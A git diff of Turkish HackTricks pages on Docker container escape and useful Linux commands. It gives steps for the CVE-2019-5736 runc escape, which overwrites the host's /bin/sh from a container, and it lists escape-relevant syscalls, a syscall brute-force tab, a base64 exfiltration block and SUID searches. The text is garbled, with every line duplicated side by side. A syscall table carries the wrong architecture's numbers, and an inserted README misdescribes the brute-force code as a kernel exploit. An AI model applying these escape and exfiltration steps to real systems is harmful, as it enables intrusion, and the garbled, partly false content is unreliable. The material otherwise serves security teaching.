[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) adresinde açıklanan ikinci teknik, kullanıcı ad alanlarıyla bağlantılı bağ montajlarını kötüye kullanarak ana makinedeki dosyalara etki etmenizi sağlar (bu özel durumda dosyaları siler). [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) adresinde açıklanan ikinci teknik, kullanıcı ad alanlarıyla bağlantılı bağ montajlarını kötüye kullanarak ana makinedeki dosyaları etkilemek için nasıl kullanılabileceğinizi göstermektedir (belirli bir durumda dosyaları silmek).
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## CVE'ler ## CVE'ler
### Runc saldırısı (CVE-2019-5736) ### Runc ığı (CVE-2019-5736)
`docker exec` komutunu kök olarak çalıştırabiliyorsanız (muhtemelen sudo ile), CVE-2019-5736'yi kötüye kullanarak bir konteynerden ayrılarak ayrıcalıkları yükseltmeyi deneyebilirsiniz (saldırı [burada](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Bu teknik temel olarak **ana makinedeki** _**/bin/sh**_ ikili dosyasını bir **konteynerden üzerine yazar**, bu nedenle docker exec komutunu çalıştıran herhangi biri payload'u tetikleyebilir. Eğer `docker exec`'i kök olarak çalıştırabiliyorsanız (muhtemelen sudo ile), CVE-2019-5736'ı kötüye kullanarak ayrıcalıkları yükseltmeyi deneyebilirsiniz (saldırı [burada](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Bu teknik temelde **ana makinedeki** _**/bin/sh**_ ikilisini **bir konteynerden üzerine yazacak**, böylece docker exec çalıştıran herkes saldırıyı tetikleyebilir.
Payload'u değiştirin ve `go build main.go` ile main.go'yu derleyin. Oluşan ikili dosya, yürütme için docker konteynerine yerleştirilmelidir.\ Payload'ı değiştirin ve `go build main.go` ile main.go'yu derleyin. Oluşan ikili dosya docker konteynerine yürütme için yerleştirilmelidir.\
Yürütme yapıldığında, `[+] Overwritten /bin/sh successfully` mesajını görüntülediğinde, aşağıdaki komutu ana makineden çalıştırmanız gerekmektedir: Yürütme sırasında, `[+] Overwritten /bin/sh successfully` anında aşağıdakini ana makineden çalıştırmanız gerekmektedir:
`docker exec -it <container-adı> /bin/sh` `docker exec -it <container-adı> /bin/sh`
Bu, main.go dosyasında bulunan payload'u tetikleyecektir. Bu, main.go dosyasında bulunan saldırıyı tetikleyecektir.
Daha fazla bilgi için: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) Daha fazla bilgi için: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
{% hint style="info" %} {% hint style="info" %}
Konteynerin savunmasız olabileceği diğer CVE'ler bulunmaktadır, bir liste [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) adresinde bulunabilir. Konteynerin savunmasız olabileceği diğer CVE'ler bulunmaktadır, bir liste [burada](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) bulunabilir.
{% endhint %} {% endhint %}
## Docker Özel Kaçış ## Docker Özel Kaçış
### Docker Kaçış Yüzeyi ### Docker Kaçış Yüzeyi
* **Ad alanları:** İşlem, ad alanları aracılığıyla diğer işlemlerle tamamen ayrılmış olmalıdır, bu nedenle ad alanları nedeniyle diğer işlemlerle etkileşime geçilemez (IPC'ler, unix soketleri, ağ hizmetleri, D-Bus, diğer işlemlerin `/proc`'uyla iletişim kurulamaz). * **Ad alanları:** İşlem, ad alanları aracılığıyla diğer işlemlerden **tamamen ayrılmalıdır**, bu nedenle ad alanları nedeniyle diğer işlemlerle etkileşimden kaçınamayız (varsayılan olarak IPC'ler, unix soketleri, ağ hizmetleri, D-Bus, diğer işlemlerin `/proc`'u ile iletişim kurulamaz).
* **Kök kullanıcı**: Varsayılan olarak, işlemi çalıştıran kullanıcı kök kullanıcısıdır (ancak ayrıcalıkları sınırlıdır). * **Kök kullanıcı**: Varsayılan olarak işlemi çalıştıran kullanıcı kök kullanıcıdır (ancak ayrıcalıkları sınırlıdır).
* **Yetenekler**: Docker, aşağıdaki yetenekleri bırakır: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` * **Yetenekler:** Docker, aşağıdaki yetenekleri bırakır: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
* **Sistem çağrıları**: Bunlar, **kök kullanıcının** çağırabileceği sistem çağrılarıdır (yetenek eksikliği + Seccomp nedeniyle çağırılamayanlar). Kaçmaya çalışmak için diğer sistem çağrıları kullanılabilir. * **Syscall'ler:** Bunlar, **kök kullanıcının** çağırabileceği syscall'lerdir (yetenek eksikliği + Seccomp nedeniyle çağrılamayanlar). Kaçmaya çalışmak için diğer syscall'ler kullanılabilir.
{% tabs %} {% tabs %}
{% tab title="x64 sistem çağrıları" %} {% tab title="x64 syscall'ler" %}
```yaml ```yaml
0x067 -- syslog 0x067 -- syslog
0x070 -- setsid 0x070 -- setsid
@ -543,403 +538,9 @@ Konteynerin savunmasız olabileceği diğer CVE'ler bulunmaktadır, bir liste [h
0x140 -- kexec_file_load 0x140 -- kexec_file_load
0x141 -- bpf 0x141 -- bpf
``` ```
{% tab title="arm64 syscalls" %}
Bu bölümde, arm64 mimarisinde kullanılan bazı önemli sistem çağrılarını bulacaksınız. Bu sistem çağrıları, arm64 tabanlı bir sistemdeki işletim sistemi işlevlerine doğrudan erişim sağlar.
| Sistem Çağrısı Numarası | Sistem Çağrısı Adı |
| ---------------------- | ----------------- |
| 0 | read |
| 1 | write |
| 2 | open |
| 3 | close |
| 4 | stat |
| 5 | fstat |
| 6 | lstat |
| 7 | poll |
| 8 | lseek |
| 9 | mmap |
| 10 | mprotect |
| 11 | munmap |
| 12 | brk |
| 13 | rt_sigaction |
| 14 | rt_sigprocmask |
| 15 | rt_sigreturn |
| 16 | ioctl |
| 17 | pread64 |
| 18 | pwrite64 |
| 19 | readv |
| 20 | writev |
| 21 | access |
| 22 | pipe |
| 23 | select |
| 24 | sched_yield |
| 25 | mremap |
| 26 | msync |
| 27 | mincore |
| 28 | madvise |
| 29 | shmget |
| 30 | shmat |
| 31 | shmctl |
| 32 | dup |
| 33 | dup2 |
| 34 | pause |
| 35 | nanosleep |
| 36 | getitimer |
| 37 | alarm |
| 38 | setitimer |
| 39 | getpid |
| 40 | sendfile |
| 41 | socket |
| 42 | connect |
| 43 | accept |
| 44 | sendto |
| 45 | recvfrom |
| 46 | sendmsg |
| 47 | recvmsg |
| 48 | shutdown |
| 49 | bind |
| 50 | listen |
| 51 | getsockname |
| 52 | getpeername |
| 53 | socketpair |
| 54 | setsockopt |
| 55 | getsockopt |
| 56 | clone |
| 57 | fork |
| 58 | vfork |
| 59 | execve |
| 60 | exit |
| 61 | wait4 |
| 62 | kill |
| 63 | uname |
| 64 | semget |
| 65 | semop |
| 66 | semctl |
| 67 | shmdt |
| 68 | msgget |
| 69 | msgsnd |
| 70 | msgrcv |
| 71 | msgctl |
| 72 | fcntl |
| 73 | flock |
| 74 | fsync |
| 75 | fdatasync |
| 76 | truncate |
| 77 | ftruncate |
| 78 | getdents |
| 79 | getcwd |
| 80 | chdir |
| 81 | fchdir |
| 82 | rename |
| 83 | mkdir |
| 84 | rmdir |
| 85 | creat |
| 86 | link |
| 87 | unlink |
| 88 | symlink |
| 89 | readlink |
| 90 | chmod |
| 91 | fchmod |
| 92 | chown |
| 93 | fchown |
| 94 | lchown |
| 95 | umask |
| 96 | gettimeofday |
| 97 | getrlimit |
| 98 | getrusage |
| 99 | sysinfo |
| 100 | times |
| 101 | ptrace |
| 102 | getuid |
| 103 | syslog |
| 104 | getgid |
| 105 | setuid |
| 106 | setgid |
| 107 | geteuid |
| 108 | getegid |
| 109 | setpgid |
| 110 | getppid |
| 111 | getpgrp |
| 112 | setsid |
| 113 | setreuid |
| 114 | setregid |
| 115 | getgroups |
| 116 | setgroups |
| 117 | setresuid |
| 118 | getresuid |
| 119 | setresgid |
| 120 | getresgid |
| 121 | getpgid |
| 122 | setfsuid |
| 123 | setfsgid |
| 124 | getsid |
| 125 | capget |
| 126 | capset |
| 127 | rt_sigpending |
| 128 | rt_sigtimedwait |
| 129 | rt_sigqueueinfo |
| 130 | rt_sigsuspend |
| 131 | sigaltstack |
| 132 | utime |
| 133 | mknod |
| 134 | uselib |
| 135 | personality |
| 136 | ustat |
| 137 | statfs |
| 138 | fstatfs |
| 139 | sysfs |
| 140 | getpriority |
| 141 | setpriority |
| 142 | sched_setparam |
| 143 | sched_getparam |
| 144 | sched_setscheduler |
| 145 | sched_getscheduler |
| 146 | sched_get_priority_max |
| 147 | sched_get_priority_min |
| 148 | sched_rr_get_interval |
| 149 | mlock |
| 150 | munlock |
| 151 | mlockall |
| 152 | munlockall |
| 153 | vhangup |
| 154 | modify_ldt |
| 155 | pivot_root |
| 156 | _sysctl |
| 157 | prctl |
| 158 | arch_prctl |
| 159 | adjtimex |
| 160 | setrlimit |
| 161 | chroot |
| 162 | sync |
| 163 | acct |
| 164 | settimeofday |
| 165 | mount |
| 166 | umount2 |
| 167 | swapon |
| 168 | swapoff |
| 169 | reboot |
| 170 | sethostname |
| 171 | setdomainname |
| 172 | iopl |
| 173 | ioperm |
| 174 | create_module |
| 175 | init_module |
| 176 | delete_module |
| 177 | get_kernel_syms |
| 178 | query_module |
| 179 | quotactl |
| 180 | nfsservctl |
| 181 | getpmsg |
| 182 | putpmsg |
| 183 | afs_syscall |
| 184 | tuxcall |
| 185 | security |
| 186 | gettid |
| 187 | readahead |
| 188 | setxattr |
| 189 | lsetxattr |
| 190 | fsetxattr |
| 191 | getxattr |
| 192 | lgetxattr |
| 193 | fgetxattr |
| 194 | listxattr |
| 195 | llistxattr |
| 196 | flistxattr |
| 197 | removexattr |
| 198 | lremovexattr |
| 199 | fremovexattr |
| 200 | tkill |
| 201 | time |
| 202 | futex |
| 203 | sched_setaffinity |
| 204 | sched_getaffinity |
| 205 | set_thread_area |
| 206 | io_setup |
| 207 | io_destroy |
| 208 | io_getevents |
| 209 | io_submit |
| 210 | io_cancel |
| 211 | get_thread_area |
| 212 | lookup_dcookie |
| 213 | epoll_create |
| 214 | epoll_ctl_old |
| 215 | epoll_wait_old |
| 216 | remap_file_pages |
| 217 | getdents64 |
| 218 | set_tid_address |
| 219 | restart_syscall |
| 220 | semtimedop |
| 221 | fadvise64 |
| 222 | timer_create |
| 223 | timer_settime |
| 224 | timer_gettime |
| 225 | timer_getoverrun |
| 226 | timer_delete |
| 227 | clock_settime |
| 228 | clock_gettime |
| 229 | clock_getres |
| 230 | clock_nanosleep |
| 231 | exit_group |
| 232 | epoll_wait |
| 233 | epoll_ctl |
| 234 | tgkill |
| 235 | utimes |
| 236 | vserver |
| 237 | mbind |
| 238 | set_mempolicy |
| 239 | get_mempolicy |
| 240 | mq_open |
| 241 | mq_unlink |
| 242 | mq_timedsend |
| 243 | mq_timedreceive |
| 244 | mq_notify |
| 245 | mq_getsetattr |
| 246 | kexec_load |
| 247 | waitid |
| 248 | add_key |
| 249 | request_key |
| 250 | keyctl |
| 251 | ioprio_set |
| 252 | ioprio_get |
| 253 | inotify_init |
| 254 | inotify_add_watch |
| 255 | inotify_rm_watch |
| 256 | migrate_pages |
| 257 | openat |
| 258 | mkdirat |
| 259 | mknodat |
| 260 | fchownat |
| 261 | futimesat |
| 262 | newfstatat |
| 263 | unlinkat |
| 264 | renameat |
| 265 | linkat |
| 266 | symlinkat |
| 267 | readlinkat |
| 268 | fchmodat |
| 269 | faccessat |
| 270 | pselect6 |
| 271 | ppoll |
| 272 | unshare |
| 273 | set_robust_list |
| 274 | get_robust_list |
| 275 | splice |
| 276 | tee |
| 277 | sync_file_range |
| 278 | vmsplice |
| 279 | move_pages |
| 280 | utimensat |
| 281 | epoll_pwait |
| 282 | signalfd |
| 283 | timerfd_create |
| 284 | eventfd |
| 285 | fallocate |
| 286 | timerfd_settime |
| 287 | timerfd_gettime |
| 288 | accept4 |
| 289 | signalfd4 |
| 290 | eventfd2 |
| 291 | epoll_create1 |
| 292 | dup3 |
| 293 | pipe2 |
| 294 | inotify_init1 |
| 295 | preadv |
| 296 | pwritev |
| 297 | rt_tgsigqueueinfo |
| 298 | perf_event_open |
| 299 | recvmmsg |
| 300 | fanotify_init |
| 301 | fanotify_mark |
| 302 | prlimit64 |
| 303 | name_to_handle_at |
| 304 | open_by_handle_at |
| 305 | clock_adjtime |
| 306 | syncfs |
| 307 | sendmmsg |
| 308 | setns |
| 309 | getcpu |
| 310 | process_vm_readv |
| 311 | process_vm_writev |
| 312 | kcmp |
| 313 | finit_module |
| 314 | sched_setattr |
| 315 | sched_getattr |
| 316 | renameat2 |
| 317 | seccomp |
| 318 | getrandom |
| 319 | memfd_create |
| 320 | kexec_file_load |
| 321 | bpf |
| 322 | execveat |
| 323 | userfaultfd |
| 324 | membarrier |
| 325 | mlock2 |
| 326 | copy_file_range |
| 327 | preadv2 |
| 328 | pwritev2 |
| 329 | pkey_mprotect |
| 330 | pkey_alloc |
| 331 | pkey_free |
| 332 | statx |
| 333 | io_pgetevents |
| 334 | rseq |
| 424 | pidfd_send_signal |
| 425 | io_uring_setup |
| 426 | io_uring_enter |
| 427 | io_uring_register |
| 428 | open_tree |
| 429 | move_mount |
| 430 | fsopen |
| 431 | fsconfig |
| 432 | fsmount |
| 433 | fspick |
| 434 | pidfd_open |
| 435 | clone3 |
| 436 | close_range |
| 437 | openat2 |
| 438 | pidfd_getfd |
| 439 | faccessat2 |
| 440 | process_madvise |
| 512 | rt_sigaction |
| 513 | rt_sigreturn |
| 514 | ioctl |
| 515 | readv |
| 516 | writev |
| 517 | recvfrom |
| 518 | sendmsg |
| 519 | recvmsg |
| 520 | execveat |
| 521 | membarrier |
| 522 | userfaultfd |
| 523 | copy_file_range |
| 524 | preadv2 |
| 525 | pwritev2 |
| 526 | pkey_mprotect |
| 527 | pkey_alloc |
| 528 | pkey_free |
| 529 | statx |
| 530 | io_pgetevents |
| 531 | rseq |
| 532 | pidfd_send_signal |
| 533 | io_uring_setup |
| 534 | io_uring_enter |
| 535 | io_uring_register |
| 536 | open_tree |
| 537 | move_mount |
| 538 | fsopen |
| 539 | fsconfig |
| 540 | fsmount |
| 541 | fspick |
| 542 | pidfd_open |
| 543 | clone3 |
| 544 | close_range |
| 545 | openat2 |
| 546 | pidfd_getfd |
| 547 | faccessat2 |
| 548 | process_madvise |
{% endtab %} {% endtab %}
{% tab title="arm64 sistem çağrıları" %}
``` ```
0x029 -- pivot_root 0x029 -- pivot_root
0x059 -- acct 0x059 -- acct
@ -957,7 +558,30 @@ Bu bölümde, arm64 mimarisinde kullanılan bazı önemli sistem çağrıların
0x111 -- finit_module 0x111 -- finit_module
0x118 -- bpf 0x118 -- bpf
``` ```
{% tab title="syscall_bf.c" %} {% endtab %}
{% tab title="syscall_bf.c" %}Docker Breakout Privilege Escalation
===============================
This directory contains a Docker breakout privilege escalation exploit. The exploit leverages a bug in the Linux kernel to escalate privileges from a Docker container to the host.
### Usage
Compile the exploit using `gcc`:
```bash
gcc -o syscall_bf syscall_bf.c
```
Run the exploit:
```bash
./syscall_bf
```
### Disclaimer
This exploit is for educational purposes only. Misuse of this exploit on systems without authorization is illegal.
````c ````c
// From a conversation I had with @arget131 // From a conversation I had with @arget131
// Fir bfing syscalss in x64 // Fir bfing syscalss in x64
@ -1021,7 +645,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket) * [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4) * [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today: Get Access Today:
@ -1037,7 +661,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>

View file

@ -1,28 +1,28 @@
# Faydalı Linux Komutları # Faydalı Linux Komutları
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın: Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin<strong>!</strong></summary> <summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
</details> </details>
## Ortak Bash Komutları ## Ortak Bash
```bash ```bash
#Exfiltration using Base64 #Exfiltration using Base64
base64 -w 0 file base64 -w 0 file
@ -141,11 +141,11 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip # List files inside zip
7z l file.zip 7z l file.zip
``` ```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın: Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -171,21 +171,20 @@ i686-mingw32msvc-gcc -o executable useradd.c
``` ```
## Greps ## Greps
`grep` komutu, metin dosyalarında belirli bir deseni aramak için kullanılan güçlü bir arama aracıdır. Aşağıda, `grep` komutunun bazı yaygın kullanımlarını bulabilirsiniz: ### Açıklama
`grep` komutu, metin dosyalarında belirli bir metni aramak için kullanılır.
- **Basit Arama**: `grep 'desen' dosya` komutu, belirli bir deseni içeren satırları bulmak için kullanılır. Örneğin, `grep 'hello' file.txt` komutu, `file.txt` dosyasında "hello" kelimesini içeren satırları bulur. ### Kullanım
```bash
grep "aranacak_metin" dosya_adı
```
- **Bütün Kelime Araması**: `grep -w 'kelime' dosya` komutu, belirli bir kelimenin tam olarak eşleştiği satırları bulmak için kullanılır. Örneğin, `grep -w 'hello' file.txt` komutu, `file.txt` dosyasında sadece "hello" kelimesini içeren satırları bulur. ### Örnek
```bash
grep "root" /etc/passwd
```
- **Büyük/Küçük Harf Duyarlılığı**: `grep -i 'desen' dosya` komutu, arama işlemini büyük/küçük harf duyarlılığı olmadan gerçekleştirir. Örneğin, `grep -i 'hello' file.txt` komutu, `file.txt` dosyasında "hello", "Hello" veya "HELLO" gibi farklı büyük/küçük harf kombinasyonlarını içeren satırları bulur. Bu komut, `/etc/passwd` dosyasında "root" kelimesini arar ve eşleşen satırları görüntüler.
- **Satır Numaralarını Gösterme**: `grep -n 'desen' dosya` komutu, eşleşen satırların yanında satır numaralarını da gösterir. Örneğin, `grep -n 'hello' file.txt` komutu, `file.txt` dosyasında "hello" kelimesini içeren satırları ve bu satırların numaralarını bulur.
- **Birden Fazla Dosyada Arama**: `grep 'desen' dosya1 dosya2` komutu, birden fazla dosyada aynı deseni aramak için kullanılır. Örneğin, `grep 'hello' file1.txt file2.txt` komutu, `file1.txt` ve `file2.txt` dosyalarında "hello" kelimesini içeren satırları bulur.
- **Dizinlerde Arama**: `grep -r 'desen' dizin` komutu, belirli bir deseni içeren tüm dosyaları ve alt dizinleri arar. Örneğin, `grep -r 'hello' /home/user` komutu, `/home/user` dizininde "hello" kelimesini içeren tüm dosyaları ve alt dizinlerini bulur.
Bu sadece `grep` komutunun bazı temel kullanımlarıdır. Daha fazla seçenek ve kullanım için `grep` komutunun man sayfasını (`man grep`) inceleyebilirsiniz.
```bash ```bash
#Extract emails from file #Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@ -267,46 +266,32 @@ egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13
``` ```
## Bul ## Bul
### Description ### `find`
This command is used to search for files or directories in a specified location.
### Syntax `find` komutu, dosya sisteminizde dosya ve dizinleri aramanıza ve belirli kriterlere göre filtrelemenize olanak tanır.
```
find [path] [options] [expression] #### Kullanım
```bash
find /path/to/search -name "filename"
``` ```
### Options - `/path/to/search`: Arama yapılacak dizinin yolu
- `-name`: Searches for files or directories with a specific name. - `-name "filename"`: Aranacak dosya adı
- `-type`: Searches for files or directories of a specific type.
- `-size`: Searches for files of a specific size.
- `-user`: Searches for files or directories owned by a specific user.
- `-group`: Searches for files or directories owned by a specific group.
- `-mtime`: Searches for files or directories modified within a specific time frame.
- `-exec`: Executes a command on each file or directory found.
### Examples #### Örnekler
1. Search for a file named "passwords.txt" in the current directory:
``` 1. `/etc` dizininde `passwd` dosyasını bulma:
find . -name passwords.txt
```bash
find /etc -name "passwd"
``` ```
2. Search for all directories in the "/var/www" directory: 2. `/home` dizininde `.txt` uzantılı dosyaları bulma:
```
find /var/www -type d
```
3. Search for files larger than 1MB in the "/home" directory: ```bash
find /home -name "*.txt"
``` ```
find /home -type f -size +1M
```
4. Search for files modified within the last 7 days in the "/tmp" directory and delete them:
```
find /tmp -type f -mtime -7 -exec rm {} \;
```
### Additional Resources
- [Linux find command](https://linux.die.net/man/1/find)
```bash ```bash
# Find SUID set files. # Find SUID set files.
find / -perm /u=s -ls 2>/dev/null find / -perm /u=s -ls 2>/dev/null
@ -336,20 +321,6 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
``` ```
## Nmap arama yardımı ## Nmap arama yardımı
Nmap, ağ tarama ve keşif aracıdır. Aşağıda, Nmap'in bazı yaygın kullanılan komutlarını ve parametrelerini bulabilirsiniz:
- `-sn`: Canlı cihazları tespit etmek için ICMP ping taraması yapar.
- `-sS`: TCP SYN taraması yapar.
- `-sU`: UDP taraması yapar.
- `-p`: Belirli bir port veya port aralığını taramak için kullanılır.
- `-O`: Hedef cihazın işletim sistemini tahmin etmek için kullanılır.
- `-A`: İşletim sistemi tahmini, port taraması, hizmet tespiti ve betik taraması gibi bir dizi tarama işlemi gerçekleştirir.
- `-v`: Ayrıntılı çıktı sağlar.
- `-oN`: Çıktıyı normal metin dosyasına kaydeder.
- `-oX`: Çıktıyı XML formatında kaydeder.
